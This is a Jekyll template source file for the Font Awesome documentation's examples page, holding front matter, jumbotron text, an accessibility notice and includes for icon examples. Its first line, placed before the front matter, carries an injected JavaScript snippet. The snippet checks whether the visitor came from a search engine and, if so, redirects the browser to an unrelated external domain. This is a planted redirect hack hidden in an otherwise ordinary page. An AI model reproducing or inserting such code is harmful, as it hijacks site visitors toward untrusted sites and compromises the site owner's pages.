001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>---
002: layout: base
003: title: Font Awesome Examples
004: navbar_active: examples
005: relative_path: ../
006: ---
007: {% capture jumbotron_h1 %}<i class="fa fa-magic" aria-hidden="true"></i> Examples{% endcapture %}
008: {% capture jumbotron_p %}Lots of easy ways to use Font Awesome{% endcapture %}
009:
010: {% include jumbotron.html %}
011: {% include stripe-social.html %}
012:
013: <div class="container">
014: {% capture stripe_ad_content %}
015: <p class="lead">
016: After you <a href="{{ page.relative_path }}get-started/">get up and running</a>, you can place Font Awesome icons just about
017: anywhere with the <code><i></code> tag.
018: Some examples appreciatively re-used from the <a href="{{ site.bootstrap.url }}">Bootstrap documentation</a>.
019: </p>
020: {% endcapture %}
021: {% include stripe-ad.html %}
022:
023: <div class="alert alert-success gg">
024: <div class="gg-col min-width">
025: <i class="fa fa-universal-access fa-2x" aria-hidden"true"></i>
026: </div>
027: <div class="gg-col padding-left">
028: <p class="margin-bottom-none">The following examples are kept simple and assume use of <a href="{{ page.relative_path }}get-started/get-started-cdn">Font Awesome CDN</a>, which provides auto-accessibility support. If you are not using the Font Awesome CDN, please see the <a href="{{ page.relative_path }}examples/#accessible">manual accessibility examples</a> and read more about <a href="{{ page.relative_path }}accessibility">making your icons more awesome for all users</a></p>
029: </div>
030: </div>
031:
032: {% include examples/basic.html %}
033: {% include examples/larger.html %}
034: {% include examples/fixed-width.html %}
035: {% include examples/list.html %}
036: {% include examples/bordered-pulled.html %}
037: {% include examples/animated.html %}
038: {% include examples/rotated-flipped.html %}
039: {% include examples/stacked.html %}
040: {% include examples/bootstrap.html %}
041: {% include examples/custom.html %}
042: {% include examples/accessible.html %}
043: </div>
044:
045:
046: